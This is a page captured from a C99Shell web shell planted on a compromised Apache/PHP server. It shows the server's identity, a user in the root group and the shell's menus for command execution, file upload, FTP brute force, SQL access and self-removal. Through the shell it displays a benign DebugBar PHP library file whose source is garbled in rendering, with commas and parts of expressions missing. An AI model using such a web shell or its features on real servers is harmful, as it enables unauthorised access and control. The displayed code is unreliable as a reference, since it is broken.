!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/maximebf/debugbar/src/DebugBar/Bridge/   drwxr-xr-x
Free 25.18 GB of 117.98 GB (21.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TwigProfileCollector.php (5.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * This file is part of the DebugBar package.
 *
 * (c) 2017 Tim Riemenschneider
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace DebugBar\Bridge;

use 
DebugBar\DataCollector\AssetProvider;
use 
DebugBar\DataCollector\DataCollector;
use 
DebugBar\DataCollector\Renderable;

/**
 * Collects data about rendered templates
 *
 * http://twig.sensiolabs.org/
 *
 * A Twig_Extension_Profiler should be added to your Twig_Environment
 * The root-Twig_Profiler_Profile-object should then be injected into this collector
 *
 * you can optionally provide the Twig_Environment or the Twig_Loader to also create
 * debug-links.
 *
 * @see \Twig_Extension_Profiler, \Twig_Profiler_Profile
 *
 * <code>
 * $env = new Twig_Environment($loader); // Or from a PSR11-container
 * $profile = new Twig_Profiler_Profile();
 * $env->addExtension(new Twig_Extension_Profile($profile));
 * $debugbar->addCollector(new TwigProfileCollector($profile, $env));
 * // or: $debugbar->addCollector(new TwigProfileCollector($profile, $loader));
 * </code>
 *
 * @deprecated Use `\Debugbar\Bridge\NamespacedTwigProfileCollector` instead for Twig 2.x and 3.x
 */
class TwigProfileCollector extends DataCollector implements RenderableAssetProvider
{
    
/**
     * @var \Twig_Profiler_Profile
     */
    
private $profile;
    
/**
     * @var \Twig_LoaderInterface
     */
    
private $loader;
    
/** @var int */
    
private $templateCount;
    
/** @var int */
    
private $blockCount;
    
/** @var int */
    
private $macroCount;
    
/**
     * @var array[] {
     * @var string $name
     * @var int    $render_time
     * @var string $render_time_str
     * @var string $memory_str
     * @var string $xdebug_link
     * }
     */
    
private $templates;

    
/**
     * TwigProfileCollector constructor.
     *
     * @param \Twig_Profiler_Profile $profile
     * @param \Twig_LoaderInterface|\Twig_Environment $loaderOrEnv
     */
    
public function __construct(\Twig_Profiler_Profile $profile$loaderOrEnv null)
    {
        
$this->profile     $profile;
        if (
$loaderOrEnv instanceof \Twig_Environment) {
            
$loaderOrEnv $loaderOrEnv->getLoader();
        }
        
$this->loader $loaderOrEnv;
    }

    
/**
     * Returns a hash where keys are control names and their values
     * an array of options as defined in {@see DebugBar\JavascriptRenderer::addControl()}
     *
     * @return array
     */
    
public function getWidgets()
    {
        return array(
            
'twig'       => array(
                
'icon'    => 'leaf',
                
'widget'  => 'PhpDebugBar.Widgets.TemplatesWidget',
                
'map'     => 'twig',
                
'default' => json_encode(array('templates' => array())),
            ),
            
'twig:badge' => array(
                
'map'     => 'twig.badge',
                
'default' => 0,
            ),
        );
    }

    
/**
     * @return array
     */
    
public function getAssets()
    {
        return array(
            
'css' => 'widgets/templates/widget.css',
            
'js'  => 'widgets/templates/widget.js',
        );
    }

    
/**
     * Called by the DebugBar when data needs to be collected
     *
     * @return array Collected data
     */
    
public function collect()
    {
        
$this->templateCount $this->blockCount $this->macroCount 0;
        
$this->templates     = array();
        
$this->computeData($this->profile);

        return array(
            
'nb_templates'                => $this->templateCount,
            
'nb_blocks'                   => $this->blockCount,
            
'nb_macros'                   => $this->macroCount,
            
'templates'                   => $this->templates,
            
'accumulated_render_time'     => $this->profile->getDuration(),
            
'accumulated_render_time_str' => $this->getDataFormatter()->formatDuration($this->profile->getDuration()),
            
'memory_usage_str'            => $this->getDataFormatter()->formatBytes($this->profile->getMemoryUsage()),
            
'callgraph'                   => $this->getHtmlCallGraph(),
            
'badge'                       => implode(
                
'/',
                array(
                    
$this->templateCount,
                    
$this->blockCount,
                    
$this->macroCount,
                )
            ),
        );
    }

    
/**
     * Returns the unique name of the collector
     *
     * @return string
     */
    
public function getName()
    {
        return 
'twig';
    }

    public function 
getHtmlCallGraph()
    {
        
$dumper = new \Twig_Profiler_Dumper_Html();

        return 
$dumper->dump($this->profile);
    }

    
/**
     * Get an Xdebug Link to a file
     *
     * @return array {
     *  @var string url
     *  @var bool ajax
     * }
     */
    
public function getXdebugLink($template$line 1)
    {
        if (
is_null($this->loader)) {
            return 
null;
        }
        
$file $this->loader->getSourceContext($template)->getPath();

        return 
parent::getXdebugLink($file$line);
    }

    private function 
computeData(\Twig_Profiler_Profile $profile)
    {
        
$this->templateCount += ($profile->isTemplate() ? 0);
        
$this->blockCount    += ($profile->isBlock() ? 0);
        
$this->macroCount    += ($profile->isMacro() ? 0);
        if (
$profile->isTemplate()) {
            
$this->templates[] = array(
                
'name'            => $profile->getName(),
                
'render_time'     => $profile->getDuration(),
                
'render_time_str' => $this->getDataFormatter()->formatDuration($profile->getDuration()),
                
'memory_str'      => $this->getDataFormatter()->formatBytes($profile->getMemoryUsage()),
                
'xdebug_link'     => $this->getXdebugLink($profile->getTemplate()),
            );
        }
        foreach (
$profile as $p) {
            
$this->computeData($p);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--